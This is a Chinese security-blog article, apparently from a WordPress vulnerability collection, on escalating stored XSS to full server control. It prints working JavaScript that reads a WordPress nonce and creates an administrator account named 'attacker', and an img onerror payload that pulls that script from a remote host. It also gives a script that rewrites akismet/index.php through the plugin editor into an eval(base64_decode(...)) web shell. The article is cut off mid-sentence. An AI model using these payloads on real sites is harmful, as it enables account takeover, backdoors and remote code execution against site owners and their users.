menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right (从xss到getshell) xss的深层次利用与探讨 chevron_right (从xss到getshell) xss的深层次利用与探讨.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    (从xss到getshell) xss的深层次利用与探讨.md
    3.95 KB / 2021-07-15 20:10:51
        (从xss到getshell) xss的深层次利用与探讨
    =========================================
    
    今天我们的网站上公布了大量的wp的xss,那么这篇文章就是深入探讨如何深入利用xss。
    
    如果师傅们有什么新的思路或者姿势。可以通过邮箱联系我们进行讨论与交流
    
    联系邮箱:ian\@lcx.cc
    
    通过js文件添加wp系统管理员
    --------------------------
    
    ### 1、创建管理账号
    
    举个例子,攻击者可以在其Web服务器上托管JavaScript文件,例如wpaddadmin
    \[.\]
    js(在链接中描述)。此JavaScript代码将添加一个WordPress管理员帐户,其用户名为"
    attacker",密码为" attacker"。
    
        // Send a GET request to the URL '/wordpress/wp-admin/user-new.php', and extract the current 'nonce' value  
        var ajaxRequest = new XMLHttpRequest();  
        var requestURL = "/wordpress/wp-admin/user-new.php";  
        var nonceRegex = /ser" value="([^"]*?)"/g;  
        ajaxRequest.open("GET", requestURL, false);  
        ajaxRequest.send();  
        var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);  
        var nonce = nonceMatch[1];  
    
        // Construct a POST query, using the previously extracted 'nonce' value, and create a new user with an arbitrary username / password, as an Administrator  
        var params = "action=createuser&_wpnonce_create-user="+nonce+"&user_login=attacker&[email protected]&pass1=attacker&pass2=attacker&role=administrator";  
        ajaxRequest = new XMLHttpRequest();  
        ajaxRequest.open("POST", requestURL, true);  
        ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");  
        ajaxRequest.send(params);
    
    然后,攻击者可以使用以下PoC插入JavaScript。
    
        “"><img src=1 onerror="javascript:(function () { var url = 'http://aaa.bbb.ccc.ddd/ wpaddadmin.js';if (typeof beef == 'undefined') { var bf = document.createElement('script'); bf.type = 'text/javascript'; bf.src = url; document.body.appendChild(bf);}})();">”
    
    ### 图1.插入XSS代码以添加管理员帐户
    
    ![](./resource/(从xss到getshell)xss的深层次利用与探讨/media/rId24.png)
    
    具有高权限的受害者查看此帖子后,将创建管理员帐户"攻击者"。
    
    ### 图2. XSS代码被执行
    
    ![](./resource/(从xss到getshell)xss的深层次利用与探讨/media/rId26.png)
    
    ### 图3. XSS代码创建的具有管理员权限的"攻击者"帐户
    
    ![](./resource/(从xss到getshell)xss的深层次利用与探讨/media/rId28.png)
    
    然后,攻击者可以将现有的php文件修改为Webshel​​l,并使用该Webshel​​l来控制Web服务器。
    
    图4.使用攻击者的帐户添加一个Web Shell
    
    ![](./resource/(从xss到getshell)xss的深层次利用与探讨/media/rId29.png)
    
    图5.控制Web服务器
    
    ![](./resource/(从xss到getshell)xss的深层次利用与探讨/media/rId30.png)
    
    ### 2、恶意命令执行
    
        // Send a GET request to the URL '/wp-admin/plugin-editor.php?akisment/index.php', and extract the current 'nonce' value
        var ajaxRequest = new XMLHttpRequest();
        var requestURL = "/wp-admin/plugin-editor.php?file=akismet/index.php"
        var nonceRegex = /ce" value="([^"]*?)"/g;
        ajaxRequest.open("GET", requestURL, false);
        ajaxRequest.send();
        var nonceMatch = nonceRegex.exec(ajaxRequest.responseText);
        var nonce = nonceMatch[1];
    
        // Construct a POST query, using the previously extracted 'nonce' value, and update the content of the file 'akismet/index.php' with our tiny web shell
        var params = "_wpnonce="+nonce+"&newcontent=<?php eval(base64_decode($_REQUEST['x']));&action=update&file=akismet/index.php"
        ajaxRequest = new XMLHttpRequest();
        ajaxRequest.open("POST", requestURL, true);
        ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
        ajaxRequest.send(params);
    
    一旦此XSS被管理用户触发,我们应该能够通过向脚本
    
    <http://0-sec.org/wp-content/plugins/akismet/index.php>
    
    发送GET / POST请求来执行任意PHP代码,其中参数" x"等于我们的PHP代码的"
    base6
    
    
    links
    file_download